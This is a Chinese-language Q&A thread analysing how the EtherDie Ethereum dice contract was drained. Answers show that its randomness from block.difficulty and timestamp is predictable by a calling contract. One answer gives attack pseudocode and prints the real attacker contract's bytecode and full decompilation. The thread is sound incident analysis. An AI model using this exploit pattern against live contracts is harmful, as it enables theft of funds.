Solidity
Solidity 合約重入攻擊
這個想法是讓使用者呼叫
send()
一些 eth。合約決定使用者是贏還是輸。獲勝者獲得獎品msg.sender.transfer(msg.value + winnings);
,失敗者一無所獲。不幸的是,合約被黑了:
https://etherscan.io/address/0x419a058dca91d152d36c4c6888aafd3890ce7429
pragma solidity 0.5.11; contract EtherDie { address payable owner; uint256 public maxSendPercentage = 5; uint256 public prizePercentage = 10; uint256 public winPercentage = 60; event Winnings(uint256); bool locked; modifier noReentrancy() { require(!locked,"Reentrant call"); locked = true; _; locked = false; } constructor() public payable { owner = msg.sender; } function () external payable { // donate here } function send() public payable noReentrancy { require(msg.value <= 5 ether && msg.value < address(this).balance * maxSendPercentage / 100, "sending too much"); if (random() < winPercentage) { uint winnings = msg.value * prizePercentage / 100; emit Winnings(winnings); msg.sender.transfer(msg.value + winnings); } } function withdraw(uint256 _wei) public payable { require(owner == msg.sender, "cannot withdraw"); owner.transfer(_wei); } function setPrizePercentage(uint256 _prizePercentage) public { require(owner == msg.sender, "cannot set price percentage"); prizePercentage = _prizePercentage; } function setMaxSendPercentage(uint256 _maxSendPercentage) public { require(owner == msg.sender, "cannot set max send percentage"); maxSendPercentage = _maxSendPercentage; } function setWinPercentage(uint256 _winPercentage) public { require(owner == msg.sender, "cannot set win percentage"); winPercentage = _winPercentage; } function random() private view returns(uint){ uint source = block.difficulty + now; bytes memory source_b = toBytes(source); return uint(keccak256(source_b)) % 100; } function toBytes(uint256 x) private pure returns (bytes memory b) { b = new bytes(32); assembly { mstore(add(b, 32), x) } } }
如果您查看內部交易,您可以看到資金是如何流失的。有一個互斥鎖,但它似乎不起作用。
有任何想法嗎?
我還沒有深入研究過這個,但我在互斥鎖之外看到了一個明顯的問題。
這不是隨機的。
function random() private view returns(uint){ uint source = block.difficulty + now; bytes memory source_b = toBytes(source); return uint(keccak256(source_b)) % 100; }
也不難猜。
您試圖通過使用
block.difficulty
和now
作為雜湊函式的輸入來使猜測變得困難,這是錯誤的假設,即在交易被探勘之前沒有人可以知道這些事情。實際上,這是一個眾所周知的錯誤。兩者都是眾所周知的。
攻擊者必須是一個合約並從那裡呼叫受害者合約。因此,黑客將為此目的部署合約。
由於攻擊者和受害者函式都將在同一個事務中執行,因此它們將在同一個塊上下文中執行。換句話說,攻擊者可以訪問與受害者相同的值。每次都會贏。
希望能幫助到你。
簡而言之
- 這不是重入攻擊。
- 實際的漏洞是合約的機制允許廉價的跟踪和錯誤,直到出現“命中”。(有趣的是,“hit”也是攻擊者合約方法的名稱)
攻擊機制
攻擊者部署了一個合約
- 打電話
random
來看看是否會贏。- 如果是,則循環並呼叫
send
100 次。- 如果沒有,退出,再打一次。
在虛擬碼中:
function hit(numSends) { if random() > 60 { return; // hit another time } for i = 0; i < 100; i++ { send() } }
關鍵是你的契約呼叫很便宜
random
,與獲勝後的收益相比,試驗中消耗的氣體是微不足道的。反編譯攻擊者合約
- 按照您的連結,其中一項攻擊交易在這裡https://etherscan.io/tx/0x770bfb08f66db388676dab26690b14b3cfca65b439cad0915d04c9a041f5a68b
- 這導致了攻擊合約(現在自毀):https ://etherscan.io/address/0xcddeea428a578001d0b132b0d93f73f22ac1dcf7
- 進入合約的創建交易https://etherscan.io/tx/0x8f7fcd58fb33eac3f3e525f9e827165d795784aad9dbc87c849a6cc657fa4ff5
- 構造合約的輸入數據如下
0x60806040526000600255604051610a7a380380610a7a8339818101604052602081101561002b57600080fd5b8101908080519060200190929190505050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561011f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f546172676574206164647265737320697320726571756972656400000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061090a806101706000396000f3fe6080604052600436106100865760003560e01c80638da5cb5b116100595780638da5cb5b1461010c578063d321fe2914610163578063d4b839921461018e578063eb175b7e146101e5578063ebf6e91d1461021057610086565b806312065fe0146100885780633ccfd60b146100b357806341c0e1b5146100ca578063795dbede146100e1575b005b34801561009457600080fd5b5061009d61023e565b6040518082815260200191505060405180910390f35b3480156100bf57600080fd5b506100c861025d565b005b3480156100d657600080fd5b506100df610373565b005b3480156100ed57600080fd5b506100f6610452565b6040518082815260200191505060405180910390f35b34801561011857600080fd5b50610121610458565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b5061017861047d565b6040518082815260200191505060405180910390f35b34801561019a57600080fd5b506101a36104ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f157600080fd5b506101fa6104f4565b6040518082815260200191505060405180910390f35b61023c6004803603602081101561022657600080fd5b8101908080359060200190929190505050610535565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61034561023e565b9081150290604051600060405180830381858888f19350505050158015610370573d6000803e3d6000fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610418576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160646005600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163102816104c757fe5b0403905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b60006105e461023e565b905060006105f061047d565b9050808210156105ff57600080fd5b606060405160240180806020018281038252600081526020016020019150506040516020818303038152906040527fb46300ec000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050603c6106a761083f565b10156108395760008090505b848110156107aa576106c361047d565b9250600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040518082805190602001908083835b602083106107335780518252602082019150602081019050602083039250610710565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610795576040519150601f19603f3d011682016040523d82523d6000602084013e61079a565b606091505b50505080806001019150506106b3565b50823073ffffffffffffffffffffffffffffffffffffffff16311015610838576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4469646e742077696e000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b50505050565b6000804244019050606061085282610870565b90506064818051906020012060001c8161086857fe5b069250505090565b606060206040519080825280601f01601f1916602001820160405280156108a65781602001600182028038833980820191505090505b50905081602082015291905056fe4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6ea265627a7a723158203b33d2856a006e4da76d4f8f6737301e2e0c1bd52464fd52b8c5cb9b71eeccbf64736f6c634300050b0032000000000000000000000000419a058dca91d152d36c4c6888aafd3890ce7429
- 以上數據包含
- 用於部署合約的樣板建構子程式碼
- 實際攻擊合約程式碼
- 砍掉建構子(最多第二個6080)得到payload(攻擊者合約)程式碼如下
6080604052600436106100865760003560e01c80638da5cb5b116100595780638da5cb5b1461010c578063d321fe2914610163578063d4b839921461018e578063eb175b7e146101e5578063ebf6e91d1461021057610086565b806312065fe0146100885780633ccfd60b146100b357806341c0e1b5146100ca578063795dbede146100e1575b005b34801561009457600080fd5b5061009d61023e565b6040518082815260200191505060405180910390f35b3480156100bf57600080fd5b506100c861025d565b005b3480156100d657600080fd5b506100df610373565b005b3480156100ed57600080fd5b506100f6610452565b6040518082815260200191505060405180910390f35b34801561011857600080fd5b50610121610458565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b5061017861047d565b6040518082815260200191505060405180910390f35b34801561019a57600080fd5b506101a36104ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f157600080fd5b506101fa6104f4565b6040518082815260200191505060405180910390f35b61023c6004803603602081101561022657600080fd5b8101908080359060200190929190505050610535565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61034561023e565b9081150290604051600060405180830381858888f19350505050158015610370573d6000803e3d6000fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610418576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160646005600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163102816104c757fe5b0403905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b60006105e461023e565b905060006105f061047d565b9050808210156105ff57600080fd5b606060405160240180806020018281038252600081526020016020019150506040516020818303038152906040527fb46300ec000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050603c6106a761083f565b10156108395760008090505b848110156107aa576106c361047d565b9250600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040518082805190602001908083835b602083106107335780518252602082019150602081019050602083039250610710565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610795576040519150601f19603f3d011682016040523d82523d6000602084013e61079a565b606091505b50505080806001019150506106b3565b50823073ffffffffffffffffffffffffffffffffffffffff16311015610838576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4469646e742077696e000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b50505050565b6000804244019050606061085282610870565b90506064818051906020012060001c8161086857fe5b069250505090565b606060206040519080825280601f01601f1916602001820160405280156108a65781602001600182028038833980820191505090505b50905081602082015291905056fe4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6ea265627a7a723158203b33d2856a006e4da76d4f8f6737301e2e0c1bd52464fd52b8c5cb9b71eeccbf64736f6c634300050b0032000000000000000000000000419a058dca91d152d36c4c6888aafd3890ce7429
- 將此有效負載輸入這個漂亮的線上反編譯器https://ethervm.io/decompile
- 反編譯結果如下
contract Contract { function main() { memory[0x40:0x60] = 0x80; if (msg.data.length < 0x04) { stop(); } var var0 = msg.data[0x00:0x20] >> 0xe0; if (0x8da5cb5b > var0) { if (var0 == 0x12065fe0) { // Dispatch table entry for getBalance() var var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x009d; var1 = getBalance(); var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = var1; var temp1 = memory[0x40:0x60]; return memory[temp1:temp1 + (temp0 + 0x20) - temp1]; } else if (var0 == 0x3ccfd60b) { // Dispatch table entry for withdraw() var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x00c8; withdraw(); stop(); } else if (var0 == 0x41c0e1b5) { // Dispatch table entry for kill() var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x00df; if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { selfdestruct(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff); } var temp2 = memory[0x40:0x60]; memory[temp2:temp2 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000; var temp3 = temp2 + 0x04; var temp4 = temp3 + 0x20; memory[temp3:temp3 + 0x20] = temp4 - temp3; memory[temp4:temp4 + 0x20] = 0x21; var temp5 = temp4 + 0x20; memory[temp5:temp5 + 0x21] = code[0x08b5:0x08d6]; var temp6 = memory[0x40:0x60]; revert(memory[temp6:temp6 + (temp5 + 0x40) - temp6]); } else if (var0 == 0x795dbede) { // Dispatch table entry for idx() var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x00f6; var var2 = idx(); var temp7 = memory[0x40:0x60]; memory[temp7:temp7 + 0x20] = var2; var temp8 = memory[0x40:0x60]; return memory[temp8:temp8 + (temp7 + 0x20) - temp8]; } else { stop(); } } else if (var0 == 0x8da5cb5b) { // Dispatch table entry for owner() var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x0121; var2 = owner(); var temp9 = memory[0x40:0x60]; memory[temp9:temp9 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff; var temp10 = memory[0x40:0x60]; return memory[temp10:temp10 + (temp9 + 0x20) - temp10]; } else if (var0 == 0xd321fe29) { // Dispatch table entry for getAmount() var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x0178; var1 = getAmount(); var temp11 = memory[0x40:0x60]; memory[temp11:temp11 + 0x20] = var1; var temp12 = memory[0x40:0x60]; return memory[temp12:temp12 + (temp11 + 0x20) - temp12]; } else if (var0 == 0xd4b83992) { // Dispatch table entry for target() var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x01a3; var2 = target(); var temp13 = memory[0x40:0x60]; memory[temp13:temp13 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff; var temp14 = memory[0x40:0x60]; return memory[temp14:temp14 + (temp13 + 0x20) - temp14]; } else if (var0 == 0xeb175b7e) { // Dispatch table entry for 0xeb175b7e (unknown) var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x01fa; var1 = func_04F4(); var temp15 = memory[0x40:0x60]; memory[temp15:temp15 + 0x20] = var1; var temp16 = memory[0x40:0x60]; return memory[temp16:temp16 + (temp15 + 0x20) - temp16]; } else if (var0 == 0xebf6e91d) { // Dispatch table entry for hit(uint256) var1 = 0x023c; var2 = 0x04; var var3 = msg.data.length - var2; if (var3 < 0x20) { revert(memory[0x00:0x00]); } hit(var2, var3); stop(); } else { stop(); } } function hit(var arg0, var arg1) { arg0 = msg.data[arg0:arg0 + 0x20]; if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { arg1 = 0x00; var var0 = 0x05e4; var0 = getBalance(); arg1 = var0; var0 = 0x00; var var1 = 0x05f0; var1 = getAmount(); var0 = var1; if (arg1 < var0) { revert(memory[0x00:0x00]); } var temp0 = memory[0x40:0x60] + 0x24; var temp1 = temp0 + 0x20; memory[temp0:temp0 + 0x20] = temp1 - temp0; memory[temp1:temp1 + 0x20] = 0x00; var temp2 = temp1 + 0x20 + 0x20; var temp3 = memory[0x40:0x60]; memory[temp3:temp3 + 0x20] = temp2 - temp3 - 0x20; memory[0x40:0x60] = temp2; var temp4 = temp3 + 0x20; memory[temp4:temp4 + 0x20] = (memory[temp4:temp4 + 0x20] & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff) | (~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0xb46300ec00000000000000000000000000000000000000000000000000000000); var1 = temp3; var var2 = 0x3c; var var3 = 0x06a7; var3 = func_083F(); if (var3 >= var2) { label_0839: return; } else { var2 = 0x00; if (var2 >= arg0) { label_07AA: if (address(address(this)).balance >= arg1) { goto label_0839; } var temp5 = memory[0x40:0x60]; memory[temp5:temp5 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000; var temp6 = temp5 + 0x04; var temp7 = temp6 + 0x20; memory[temp6:temp6 + 0x20] = temp7 - temp6; memory[temp7:temp7 + 0x20] = 0x09; var temp8 = temp7 + 0x20; memory[temp8:temp8 + 0x20] = 0x4469646e742077696e0000000000000000000000000000000000000000000000; var temp9 = memory[0x40:0x60]; revert(memory[temp9:temp9 + (temp8 + 0x20) - temp9]); } else { label_06BC: var3 = 0x06c3; var3 = getAmount(); var temp10 = var3; var0 = temp10; var3 = storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff; var var4 = var0; var temp11 = var1; var var5 = temp11; var var6 = memory[0x40:0x60]; var var7 = var6; var var8 = var5 + 0x20; var var9 = memory[var5:var5 + 0x20]; var var10 = var9; var var11 = var7; var var12 = var8; if (var10 < 0x20) { label_0733: var temp12 = 0x0100 ** (0x20 - var10) - 0x01; var temp13 = var11; memory[temp13:temp13 + 0x20] = (memory[var12:var12 + 0x20] & ~temp12) | (memory[temp13:temp13 + 0x20] & temp12); var temp14 = memory[0x40:0x60]; var temp15; temp15, memory[temp14:temp14 + 0x00] = address(var3).call.gas(msg.gas).value(var4)(memory[temp14:temp14 + (var9 + var7) - temp14]); var4 = returndata.length; var5 = var4; if (var5 == 0x00) { var2 = var2 + 0x01; label_06B3: if (var2 >= arg0) { goto label_07AA; } else { goto label_06BC; } } else { var temp16 = memory[0x40:0x60]; var4 = temp16; memory[0x40:0x60] = var4 + (returndata.length + 0x3f & ~0x1f); memory[var4:var4 + 0x20] = returndata.length; var temp17 = returndata.length; memory[var4 + 0x20:var4 + 0x20 + temp17] = returndata[0x00:0x00 + temp17]; var2 = var2 + 0x01; goto label_06B3; } } else { label_0719: var temp18 = var12; var temp19 = var11; memory[temp19:temp19 + 0x20] = memory[temp18:temp18 + 0x20]; var11 = temp19 + 0x20; var12 = temp18 + 0x20; var10 = var10 - 0x20; if (var10 < 0x20) { goto label_0733; } else { goto label_0719; } } } } } else { var temp20 = memory[0x40:0x60]; memory[temp20:temp20 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000; var temp21 = temp20 + 0x04; var temp22 = temp21 + 0x20; memory[temp21:temp21 + 0x20] = temp22 - temp21; memory[temp22:temp22 + 0x20] = 0x21; var temp23 = temp22 + 0x20; memory[temp23:temp23 + 0x21] = code[0x08b5:0x08d6]; var temp24 = memory[0x40:0x60]; revert(memory[temp24:temp24 + (temp23 + 0x40) - temp24]); } } function getBalance() returns (var r0) { return address(address(this)).balance; } function withdraw() { if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; var var1 = 0x08fc; var var2 = 0x0345; var2 = getBalance(); var temp0 = var2; var temp1 = memory[0x40:0x60]; var temp2; temp2, memory[temp1:temp1 + 0x00] = address(var0).call.gas(!temp0 * var1).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]); var0 = !temp2; if (!var0) { return; } var temp3 = returndata.length; memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3]; revert(memory[0x00:0x00 + returndata.length]); } else { var temp4 = memory[0x40:0x60]; memory[temp4:temp4 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000; var temp5 = temp4 + 0x04; var temp6 = temp5 + 0x20; memory[temp5:temp5 + 0x20] = temp6 - temp5; memory[temp6:temp6 + 0x20] = 0x21; var temp7 = temp6 + 0x20; memory[temp7:temp7 + 0x21] = code[0x08b5:0x08d6]; var temp8 = memory[0x40:0x60]; revert(memory[temp8:temp8 + (temp7 + 0x40) - temp8]); } } function idx() returns (var r0) { return storage[0x02]; } function owner() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; } function getAmount() returns (var r0) { var var0 = 0x00; var var1 = 0x01; var var2 = 0x64; var var3 = address(storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff).balance * 0x05; if (var2) { return var3 / var2 - var1; } else { assert(); } } function target() returns (var r0) { return storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff; } function func_04F4() returns (var r0) { return address(storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff).balance; } function func_083F() returns (var r0) { var var0 = 0x00; var var1 = block.difficulty + block.timestamp; var var2 = 0x60; var var3 = 0x0852; var var4 = var1; var3 = func_0870(var4); var temp0 = var3; var2 = temp0; var3 = 0x64; var4 = keccak256(memory[var2 + 0x20:var2 + 0x20 + memory[var2:var2 + 0x20]]) >> 0x00; if (var3) { return var4 % var3; } else { assert(); } } function func_0870(var arg0) returns (var r0) { var var0 = 0x60; var temp0 = memory[0x40:0x60]; var var2 = 0x20; var var1 = temp0; memory[var1:var1 + 0x20] = var2; memory[0x40:0x60] = var1 + (var2 + 0x1f & ~0x1f) + 0x20; if (!var2) { memory[var1 + 0x20:var1 + 0x20 + 0x20] = arg0; return var1; } else { var temp1 = var1; var temp2 = var2; memory[temp1 + 0x20:temp1 + 0x20 + temp2] = code[code.length:code.length + temp2]; memory[temp1 + 0x20:temp1 + 0x20 + 0x20] = arg0; return temp1; } } }
分析
- 主要實現是
function hit
- 它以
if (msg.sender == storage[0x00]...)
. 這應該大致翻譯成if msg.sender != me_the_attacker {revert;}
(這裡不多分享精神)if (address(address(this)).balance >= arg1) { goto label_0839; }
可能if this.balance > enough_for_now {return;} // Enough for now but I will be back
- 這次攻擊的核心部分似乎是
temp15, memory[temp14:temp14 + 0x00] = address(var3).call.gas(msg.gas).value(var4)(memory[temp14:temp14 + (var9 + var7) - temp14]); var4 = returndata.length; var5 = var4; if (var5 == 0x00) { var2 = var2 + 0x01; label_06B3: if (var2 >= arg0) { goto label_07AA; } else { goto label_06BC; }
這可以簡單地翻譯成類似的東西
loop: ret = send() if i < arg0 {goto loop;} else {return;}
本質上,是虛擬碼中的循環。
- 還有其他的檢查,跳躍等,我還沒看。大概這些是確保攻擊有利可圖的其他瑣碎檢查。
結論
- 這是一個基於微不足道的攻擊的試錯法。攻擊者合約交易失敗的事實似乎進一步證明了這一點(儘管我沒有深入研究這些失敗,所以我可能錯了)。